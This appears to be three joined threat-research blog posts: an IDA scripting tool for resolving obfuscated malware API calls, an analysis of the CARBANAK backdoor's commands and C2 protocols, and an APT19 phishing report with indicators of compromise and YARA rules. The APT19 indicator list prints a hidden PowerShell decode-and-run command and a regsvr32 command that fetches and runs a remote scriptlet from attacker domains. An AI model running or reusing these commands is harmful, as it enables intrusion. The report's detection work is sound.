For an example of what we are talking about, consider the code in Figure 1, which was taken from a memory dump of xdata crypto ransomware sample C6A2FB56239614924E2AB3341B1FBBA5.

Figure 1: API obfuscation code from a crypto ransomware sample

In Figure 1, we see one numeric value being loaded into eax, XORed against another, and then being called as a function pointer. These numbers only make sense in the context of a running process. We can calculate the final number from the values contained in the memory dump, but we also need a way to know which API address it resolved to in this particular running process. We also have to take into account that DLLs can be rebased due to conflicts in preferred base address, and systems with ASLR enabled.

Figure 2 shows one other place we can look to see where the values were initially set.

Figure 2: Crypto malware setting obfuscated function pointer from API hash

In this case, the initial value is loaded from an API hash lookup – again not of immediate value. Here we have hit a crossroad, with multiple paths we can take to resolve the problem. We can search for a published hash list, extract the hasher and build our own database, or figure out a way to dynamically resolve the decoded API address.

Before we choose which path to take, let us consider another sample. Figure 3 shows code from Andromeda sample, 3C8B018C238AF045F70B38FC27D0D640.

Figure 3: API redirection code from an Andromeda sample

This code was found in a memory injection. Here we can see what looks to be a detours style trampoline, where the first instruction was stolen from the actual Windows API and placed in a small stub with an immediate jump taken back to the original API + x bytes.

In this situation, the malware accesses all of the API through these stubs and we have no clear resolution as to which stub points where. From the disassembly we can also see that the stolen instructions are of variable length.

In order to resolve where these functions go, we would have to:

  • enumerate all of the stubs
  • calculate how many bytes are in the first instruction
  • extract the jmp address
  • subtract the stolen byte count to find the API entrypoint
  • resolve the calculated address for this specific process instance
  • rename the stub to a meaningful value

In this sample, looking for cross references on where the value is set does not yield any results.

Here we have two manifestations of essentially the same problem. How do we best resolve calculated API addresses and add this information back into our IDA database?

One of the first techniques used was to calculate all of the final addresses, write them to a binary file, inject the data into the process, and examine the table in the debugger (Figure 4). Since the debugger already has a API address look up table, this gives a crude yet quick method to get the information we need.

Figure 4: ApiLogger from iDefense MAP injecting a data file into a process and examining results in debugger

From here we can extract the resolved symbols and write a script to integrate them into our IDB. This works, but it is bulky and involves several steps.

Our Tool

What we really want is to build our own symbol lookup table for a process and create a streamlined way to access it from our scripts.

The first question is: How can we build our own lookup table of API addresses to API names? To resolve this information, we need to follow some steps:

  • enumerate all of the DLLs loaded into a process
  • for each DLL, walk the export table and extract function name and RVA
  • calculate API entrypoint based on DLL base address and export RVA
  • build a lookup table based on all of this information

While this sounds like a lot of work, libraries are already available that handle all of the heavy lifting. Figure 5 shows a screenshot of a remote lookup tool we developed for such occasions.

Figure 5: Open source remote lookup application

In order to maximize the benefits of this type of tool, the tool must be efficient. What is the best way to interface with this data? There are several factors to consider here, including how the data is submitted, what input formats are accepted, and how well the tool can be integrated with the flow of the analysis process.

The first consideration is how we interface with it. For maximum flexibility, three methods were chosen. Lookups can be submitted:

  • individually via textbox
  • in bulk by file or
  • over the network by a remote client

In terms of input formats, it accepts the following:

  • hex memory address
  • case insensitive API name
  • dll_name@ordinal
  • dll_name.export_name

The tool output is in the form of a CSV list that includes address, name, ordinal, and DLL.

With the base tool capabilities in place, we still need an efficient streamlined way to use it during our analysis. The individual lookups are nice for offhand queries and testing, but not in bulk. The bulk file lookup is nice on occasion, but it still requires data export/import to integrate results with your IDA database.

What is really needed is a way to run a script in IDA, calculate the API address, and then resolve that address inline while running an IDA script. This allows us to rename functions and pointers on the fly as the script runs all in one shot. This is where the network client capability comes in.

Again, there are many approaches to this. Here we chose to integrate a network client into a beta of IDA Jscript (Figure 6). IDA Jscript is an open source IDA scripting tool with IDE that includes syntax highlighting, IntelliSense, function prototype tooltips, and debugger.

Figure 6: Open source IDA Jscript decoding and resolving API addresses

In this example we see a script that decodes the xdata pointer table, resolves the API address over the network, and then generates an IDC script to rename the pointers in IDA.

After running this script and applying the results, the decompiler output becomes plainly readable (Figure 7).

Figure 7: Decompiler output from the xdata sample after symbol resolution

Going back to the Andromeda sample, the API information can be restored with the brief idajs script shown in Figure 8.

Figure 8: small idajs script to remotely resolve and rename Andromeda API hook stubs

For IDAPython users, a python remote lookup client is also available.

Conclusion

It is common for malware to use techniques that mask the Windows API being used. These techniques force malware analysts to have to extract data from runtime data, calculate entry point addresses, and then resolve their meaning within the context of a particular running process.

In previous techniques, several manual stages were involved that were bulky and time intensive.

This blog introduces a small simple open source tool that can integrate well into multiple IDA scripting languages. This combination allows analysts streamlined access to the data required to quickly bypass these types of obfuscations and continue on with their analysis.

We are happy to be able to open source the remote lookup application so that others may benefit and adapt it to their own needs. Sample network clients have been provided for Python, C#, D, and VB6.

Download a copy of the tool today.

Behind the CARBANAK Backdoor

In this blog, we will take a closer look at the powerful, versatile backdoor known as CARBANAK (aka Anunak). Specifically, we will focus on the operational details of its use over the past few years, including its configuration, the minor variations observed from sample to sample, and its evolution. With these details, we will then draw some conclusions about the operators of CARBANAK. For some additional background on the CARBANAK backdoor, see the papers by Kaspersky and Group-IB and Fox-It.

Technical Analysis

Before we dive into the meat of this blog, a brief technical analysis of the backdoor is necessary to provide some context. CARBANAK is a full-featured backdoor with data-stealing capabilities and a plugin architecture. Some of its capabilities include key logging, desktop video capture, VNC, HTTP form grabbing, file system management, file transfer, TCP tunneling, HTTP proxy, OS destruction, POS and Outlook data theft and reverse shell. Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time.

Monitoring Threads

The backdoor may optionally start one or more threads that perform continuous monitoring for various purposes, as described in Table 1.  

Thread Name

Description

Key logger

Logs key strokes for configured processes and sends them to the command and control (C2) server

Form grabber

Monitors HTTP traffic for form data and sends it to the C2 server

POS monitor

Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server

PST monitor

Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server

HTTP proxy monitor

Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use

Table 1: Monitoring threads

Commands

In addition to its file management capabilities, this data-stealing backdoor supports 34 commands that can be received from the C2 server. After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line. The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters. Table 2 lists these commands.

Command Hash

Command Name

Description

0x0AA37987

loadconfig

Runs each command specified in the configuration file (see the Configuration section).

0x007AA8A5

state

Updates the state value (see the Configuration section).

0x007CFABF

video

Desktop video recording

0x06E533C4

download

Downloads executable and injects into new process

0x00684509

ammyy

Ammyy Admin tool

0x07C6A8A5

update

Updates self

0x0B22A5A7

 

Add/Update klgconfig (analysis incomplete)

0x0B77F949

httpproxy

Starts HTTP proxy

0x07203363

killos

Renders computer unbootable by wiping the MBR

0x078B9664

reboot

Reboots the operating system

0x07BC54BC

tunnel

Creates a network tunnel

0x07B40571

adminka

Adds new C2 server or proxy address for pseudo-HTTP protocol

0x079C9CC2

server

Adds new C2 server for custom binary protocol

0x0007C9C2

user

Creates or deletes Windows user account

0x000078B0

rdp

Enables concurrent RDP (analysis incomplete)

0x079BAC85

secure

Adds Notification Package (analysis incomplete)

0x00006ABC

del

Deletes file or service

0x0A89AF94

startcmd

Adds command to the configuration file (see the Configuration section)

0x079C53BD

runmem

Downloads executable and injects directly into new process

0x0F4C3903

logonpasswords

Send Windows accounts details to the C2 server

0x0BC205E4

screenshot

Takes a screenshot of the desktop and sends it to the C2 server

0x007A2BC0

sleep

Backdoor sleeps until specified date

0x0006BC6C

dupl

Unknown

0x04ACAFC3

 

Upload files to the C2 server

0x00007D43

vnc

Runs VNC plugin

0x09C4D055

runfile

Runs specified executable file

0x02032914

killbot

Uninstalls backdoor

0x08069613

listprocess

Returns list of running processes to the C2 server

0x073BE023

plugins

Change C2 protocol used by plugins

0x0B0603B4

 

Download and execute shellcode from specified address

0x0B079F93

killprocess

Terminates the first process found specified by name

0x00006A34

cmd

Initiates a reverse shell to the C2 server

0x09C573C7

runplug

Plugin control

0x08CB69DE

autorun

Updates backdoor

Table 2: Supported Commands

Configuration

A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Some of these values indicate which C2 protocol to use, whether the backdoor has been installed, and whether the PST monitoring thread is running or not. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it.

Figure 1 and Figure 2 illustrate some sample, decoded configuration files we have come across in our investigations.

Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it

Figure 2: Configuration file that adds TCP tunnels and records desktop video

Command and Control

CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol.

Pseudo-HTTP Protocol

Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character. A message starts with a host ID composed by concatenating a hash value generated from the computer’s hostname and MAC address to a string likely used as a campaign code. Once the message has been formatted, it is sandwiched between an additional two fields of randomly generated strings of upper and lower case alphabet characters. An example of a command polling message and a response to the listprocess command are given in Figure 3 and Figure 4, respectively.

Figure 3: Example command polling message

Figure 4: Example command response message

Messages are encrypted using Microsoft’s implementation of RC2 in CBC mode with PKCS#5 padding. The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively. The eight-byte initialization vector (IV) is a randomly generated string consisting of upper and lower case alphabet characters. It is prepended to the encrypted and encoded message.

The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload. The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php.

This URI is then used in a GET or POST request. The body of the POST request may contain files contained in the cabinet format. A sample GET request is shown in Figure 5.

Figure 5: Sample pseudo-HTTP beacon

The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command. The backdoor also searches for proxy configurations to use in the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js.

Custom Binary Protocol

Figure 6 describes the structure of the malware’s custom binary protocol. If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks. This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.

Figure 6: Binary protocol message format

Version 1

In the earliest version of the binary protocol, we have discovered that the message bodies that are stored in the <chunkData> field are simply XORed with the host ID. The initial message is not encrypted and contains the host ID.

Version 2

Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session. This key is sent in the initial message.

Version 3

Version 3 adds encryption to the headers. The first 19 bytes of the message headers (up to the <hdrXORKey2> field) are XORed with a five-byte key that is randomly generated per message and stored in the <hdrXORKey2> field. If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages.

Version 4

This version adds a bit more complexity to the header encryption scheme. The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed.

Version 5

Version 5 is the most sophisticated of the binary protocols we have seen. A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately. Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm. All subsequent messages are encrypted with AES in CBC mode. The use of public key cryptography makes decryption of the session key infeasible without the C2 server’s private key.

The Roundup

We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here.

Protocol Evolution

As described earlier, CARBANAK’s binary protocol has undergone several significant changes over the years. Figure 7 illustrates a rough timeline of this evolution based on the compile times of samples we have in our collection. This may not be entirely accurate because our visibility is not complete, but it gives us a general idea as to when the changes occurred. It has been observed that some builds of this data-stealing backdoor use outdated versions of the protocol. This may suggest multiple groups of operators compiling their own builds of this data-stealing backdoor independently.

Figure 7: Timeline of binary protocol versions

*It is likely that we are missing an earlier build that utilized version 3.

Build Tool

Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.

Rapid Builds

Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.

What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not. This command downloads an executable from the C2 and directly runs it in memory. In another case, one build was programmed to check for the existence of the domain blizko.net in the trusted sites list for Internet Explorer while the other was not. Blizko is an online money transfer service. We have also seen that different monitoring threads from Table 1 are enabled from build to build. These minor changes suggest that the code is quickly modified and compiled to adapt to the needs of the operator for particular targets.

Campaign Code and Compile Time Correlation

In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code. Figure 8 shows some of the relationships that can be observed in our data set.

Campaign Code

Compile Date

Aug

7/30/15

dec

12/8/14

julyc

7/2/16

jun

5/9/15

june

5/25/14

june

6/7/14

junevnc

6/20/14

juspam

7/13/14

juupd

7/13/14

may

5/20/14

may

5/19/15

ndjun

6/7/16

SeP

9/12/14

spamaug

8/1/14

spaug

8/1/14

Figure 8: Campaign code to compile time relationships

Recent Updates

Recently, 64 bit variants of the backdoor have been discovered. We shared details about such variants in a recent blog post. Some of these variants are programmed to sleep until a configured activation date when they will become active.

History

The “Carbanak Group”

Much of the publicly released reporting surrounding the CARBANAK malware refers to a corresponding “Carbanak Group”, who appears to be behind the malicious activity associated with this data-stealing backdoor. FireEye iSIGHT Intelligence has tracked several separate overarching campaigns employing the CARBANAK tool and other associated backdoors, such as DRIFTPIN (aka Toshliph). With the data available at this time, it is unclear how interconnected these campaigns are – if they are all directly orchestrated by the same criminal group, or if these campaigns were perpetrated by loosely affiliated actors sharing malware and techniques.

FIN7

In all Mandiant investigations to date where the CARBANAK backdoor has been discovered, the activity has been attributed to the FIN7 threat group. FIN7 has been extremely active against the U.S. restaurant and hospitality industries since mid-2015.

FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment. FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity.

We have covered recent FIN7 activity in previous public blog posts:

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity.

Widespread Bank Targeting Throughout the U.S., Middle East and Asia

Proofpoint initially reported on a widespread campaign targeting banks and financial organizations throughout the U.S. and Middle East in early 2016. We identified several additional organizations in these regions, as well as in Southeast Asia and Southwest Asia being targeted by the same attackers.

This cluster of activity persisted from late 2014 into early 2016. Most notably, the infrastructure utilized in this campaign overlapped with LAZIOK, NETWIRE and other malware targeting similar financial entities in these regions.

DRIFTPIN

DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been previously associated with CARBANAK in various campaigns. We have seen it deployed in initial spear phishing by FIN7 in the first half of 2016.  Also, in late 2015, ESET reported on CARBANAK associated attacks, detailing a spear phishing campaign targeting Russian and Eastern European banks using DRIFTPIN as the malicious payload. Cyphort Labs also revealed that variants of DRIFTPIN associated with this cluster of activity had been deployed via the RIG exploit kit placed on two compromised Ukrainian banks’ websites.

FireEye iSIGHT Intelligence observed this wave of spear phishing aimed at a large array of targets, including U.S. financial institutions and companies associated with Bitcoin trading and mining activities. This cluster of activity continues to be active now to this day, targeting similar entities. Additional details on this latest activity are available on the FireEye iSIGHT Intelligence MySIGHT Portal.

Earlier CARBANAK Activity

In December 2014, Group-IB and Fox-IT released a report about an organized criminal group using malware called "Anunak" that has targeted Eastern European banks, U.S. and European point-of-sale systems and other entities. Kaspersky released a similar report about the same group under the name "Carbanak" in February 2015. The name “Carbanak” was coined by Kaspersky in this report – the malware authors refer to the backdoor as Anunak.

This activity was further linked to the 2014 exploitation of ATMs in Ukraine. Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement.

Conclusion

The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

  1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
  2. Some of the operators may be compiling their own builds of the backdoor independently.
  3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.
  4. Varying campaign codes indicate that independent or loosely affiliated criminal actors are employing CARBANAK in a wide-range of intrusions that target a variety of industries but are especially directed at financial institutions across the globe, as well as the restaurant and hospitality sectors within the U.S.

Privileges and Credentials: Phished at the Request of Counsel

Summary

In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment firms. We have associated this campaign with APT19, a group that we assess is composed of freelancers, with some degree of sponsorship by the Chinese government.

APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload.

As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we cannot assess the goal of the campaign. We have previously observed APT19 steal data from law and investment firms for competitive economic purposes.

This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide technical indicators that their IT personnel can use for proactive hunting and detection.

The Emails

APT19 phishing emails from this campaign originated from sender email accounts from the "@cloudsend[.]net" domain and used a variety of subjects and attachment names. Refer to the Indicators of Compromise section for more details.

The Attachments

APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits. The following sections describe the two methods in further detail.

RTF Attachments

Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF attachments download hxxp://tk-in-f156.2bunny[.]com/Agreement.doc. Unfortunately, this file was no longer hosted at tk-in-f156.2bunny[.]com for further analysis. Figure 1 is a screenshot of a packet capture showing one of the RTF files reaching out to hxxp://tk-in-f156.2bunny[.]com/Agreement.doc.

Figure 1: RTF PCAP

XLSM Attachments

The XLSM attachments contained multiple worksheets with content that reflected the attachment name. The attachments also contained an image that requested the user to “Enable Content”, which would enable macro support if it was disabled. Figure 2 provides a screenshot of one of the XLSM files (MD5:30f149479c02b741e897cdb9ecd22da7).

Figure 2: Enable macros

One of the malicious XLSM attachments that we observed contained a macro that:

  1. Determined the system architecture to select the correct path for PowerShell
  2. Launched a ZLIB compressed and Base64 encoded command with PowerShell. This is a typical technique used by Meterpreter stagers.

Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6).

Figure 3: XLSX Macro

Figure 4 contains the decoded output of the encoded text.

Figure 4: Decoded ZLIB + Base64 payload

The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers.

Figure 5: GET Request with minimal HTTP headers

Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out network-based indicators (NBI) from the shellcode. Figure 6 shows the extracted NBIs.

Figure 6: Decoded shellcode

FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7.

Figure 7: Alternate macro

This macro uses Casey Smith’s “Squiblydoo” Application Whitelisting bypass technique to run the command in Figure 8.

Figure 8: Application Whitelisting Bypass

The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9.

Figure 9: SCT contents

Figure 10 provides the decoded script. Notice the “$DoIt” string, which is usually indicative of a Cobalt Strike payload.

Figure 10: Decoded SCT contents

A quick conversion of the contents of the variable “$var_code” from Base64 to ASCII shows some familiar network indicators, shown in Figure 11.

Figure 11: $var_code to ASCII

Second Stage Payload

Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload, configured with the following parameters:

  • Process Inject Targets:
    • %windir%\syswow64\rundll32.exe
    • %windir%\sysnative\rundll32.exe
  • c2_user_agents
    • Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
  • Named Pipes
    • \\%s\pipe\msagent_%x
  • beacon_interval
    • 60
  • C2
    • autodiscover.2bunny[.]com/submit.php
    • autodiscover.2bunny[.]com/IE9CompatViewList.xml
    • sfo02s01-in-f2.cloudsend[.]net/submit.php
    • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
  • C2 Port
    • TCP/80

Figure 12 depicts an example of a BEACON C2 attempt from this payload.

Figure 12: Cobalt Strike BEACON C2

FireEye Product Detections

The following FireEye products currently detect and block the methods described above. Table 1 lists the current detection and blocking capabilities by product.

Detection Name

Product

Action

Notes

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)

HX

Detect

XSLM Macro launch

Gen:Variant.Application.HackTool.CobaltStrike.1

HX

Detect

XSLM Macro launch

Malware Object

HX

Detect

BEACON written to disk

Backdoor.BEACON

NX

Block*

BEACON Callback

FE_Malformed_RTF

EX/ETP/NX

Block*

RTF

Malware.Binary.rtf

EX/ETP/NX

Block*

RTF

Malware.Binary

EX/ETP/NX

Block*

RTF

Malware.Binary.xlsx

EX/ETP/NX

Block*

XSLM

Table 1: Detection review

*Appliances must be configured for block mode.

Recommendations

FireEye recommends organizations perform the following steps to mitigate the risk of this campaign:

  1. Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already installed it.
  2. Search historic and future emails that match the included indicators of compromise.
  3. Review web proxy logs for connections to the included network based indicators of compromise.
  4. Block connections to the included fully qualified domain names.
  5. Review endpoints for the included host based indicators of compromise.

Indicators of Compromise

The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye has observed during this campaign.

Email Senders
  • PressReader <infodept@cloudsend[.]net>
  • Angela Suh <angela.suh@cloudsend[.]net>
  • Ashley Safronoff <ashley.safronoff@cloudsend[.]net>
  • Lindsey Hersh <lindsey.hersh@cloudsend[.]net>
  • Sarah Roberto sarah.roberto@cloudsend[.]net
  • noreply@cloudsend[.]net
Email Subject Lines
  • Macron Denies Authenticity Of Leak, French Prosecutors Open Probe
  • Macron Document Leaker Releases New Images, Promises More Information
  • Are Emmanuel Macron's Tax Evasion Documents Real?
  • Time Allocation
  • Vacancy Report
  • china paper table and graph
  • results with zeros – some ready not all finished
  • Macron Leaks contain secret plans for the islamisation of France and Europe
Attachment Names
  • Macron_Authenticity.doc.rtf
  • Macron_Information.doc.rtf
  • US and EU Trade with China and China CA.xlsm
  • Tables 4 5 7 Appendix with zeros.xlsm
  • Project Codes - 05.30.17.xlsm
  • Weekly Vacancy Status Report 5-30-15.xlsm
  • Macron_Tax_Evasion.doc.rtf
  • Macron_secret_plans.doc.rtf
Network Based Indicators (NBI)
  • lyncdiscover.2bunny[.]com
  • autodiscover.2bunny[.]com
  • lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/
  • lyncdiscover.2bunny[.]com/Autodiscover
  • autodiscover.2bunny[.]com/K5om
  • sfo02s01-in-f2.cloudsend[.]net/submit.php
  • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
  • tk-in-f156.2bunny[.]com
  • tk-in-f156.2bunny[.]com/Agreement.doc
  • 104.236.77[.]169
  • 138.68.45[.]9
  • 162.243.143[.]145
  • Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
  • tf-in-f167.2bunny[.]com:443 (*Only seen in VT not ITW)
Host Based Indicators (HBI)

RTF MD5 hash values

  • 0bef39d0e10b1edfe77617f494d733a8
  • 0e6da59f10e1c4685bb5b35a30fc8fb6
  • cebd0e9e05749665d893e78c452607e2

XLSX MD5 hash values

  • 38125a991efc6ab02f7134db0ebe21b6
  • 3a1dca21bfe72368f2dd46eb4d9b48c4
  • 30f149479c02b741e897cdb9ecd22da7

BEACON and Meterpreter payload MD5 hash values

  • bae0b39197a1ac9e24bdf9a9483b18ea
  • 1151619d06a461456b310096db6bc548

Process arguments, named pipes, and file paths

  • powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("<base64 blob>")
  • regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll
  • \\<ip>\pipe\msagent_<4 digits>
  • C:\Documents and Settings\<user>\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request)
Yara Rules

rule FE_LEGALSTRIKE_MACRO {
       meta:version=".1"
       filetype="MACRO"
       author="Ian.Ahl@fireeye.com @TekDefense"
       date="2017-06-02"
       description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
strings:
       // OBSFUCATION
       $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
       $ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW(47)" ascii wide
       $ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)" ascii wide
       $ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW(115)" ascii wide
       $ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW(110)" ascii wide
       $ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW(116)" ascii wide
       $ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(32)" ascii wide
       $ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW(108)" ascii wide
       $obreg1 = /(\w{5}\s&\s){7}\w{5}/
       $obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/
       // wscript
       $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
       $wsobj2 = "Obj.Run " ascii wide

condition:
        (
              (
                      (uint16(0) != 0x5A4D)
              )
              and
              (
                      all of ($wsobj*) and 3 of ($ob*)
                      or
                      all of ($wsobj*) and all of ($obreg*)
              )
       )
}

 

rule FE_LEGALSTRIKE_MACRO_2 {
       meta:version=".1"
       filetype="MACRO"
       author="Ian.Ahl@fireeye.com @TekDefense"
       date="2017-06-02"
       description="This rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4."
strings:
       // Setting the environment
       $env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide
       $env2 = "windir = Environ(\"windir\")" ascii wide
       $env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide
       // powershell command fragments
       $ps1 = "-NoP" ascii wide
       $ps2 = "-NonI" ascii wide
       $ps3 = "-W Hidden" ascii wide
       $ps4 = "-Command" ascii wide
       $ps5 = "New-Object IO.StreamReader" ascii wide
       $ps6 = "IO.Compression.DeflateStream" ascii wide
       $ps7 = "IO.MemoryStream" ascii wide
       $ps8 = ",$([Convert]::FromBase64String" ascii wide
       $ps9 = "ReadToEnd();" ascii wide
       $psregex1 = /\W\w+\s+\s\".+\"/
condition:
       (
              (
                      (uint16(0) != 0x5A4D)
              )
              and
              (
                      all of ($env*) and 6 of ($ps*)
                      or
                      all of ($env*) and 4 of ($ps*) and all of ($psregex*)
              )
       )
}

 

rule FE_LEGALSTRIKE_RTF {
    meta:
        version=".1"
        filetype="MACRO"
        author="joshua.kim@FireEye.com"
        date="2017-06-02"
        description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"

    strings:
        $header = "{\\rt"

        $lnkinfo = "4c0069006e006b0049006e0066006f"

        $encoded1 = "4f4c45324c696e6b"
        $encoded2 = "52006f006f007400200045006e007400720079"
        $encoded3 = "4f0062006a0049006e0066006f"
        $encoded4 = "4f006c0065"

        $http1 = "68{"
        $http2 = "74{"
        $http3 = "07{"

        // 2bunny.com
        $domain1 = "32{\\"
        $domain2 = "62{\\"
        $domain3 = "75{\\"
        $domain4 = "6e{\\"
        $domain5 = "79{\\"
        $domain6 = "2e{\\"
        $domain7 = "63{\\"
        $domain8 = "6f{\\"
        $domain9 = "6d{\\"

        $datastore = "\\*\\datastore"

    condition:
        $header at 0 and all of them
}

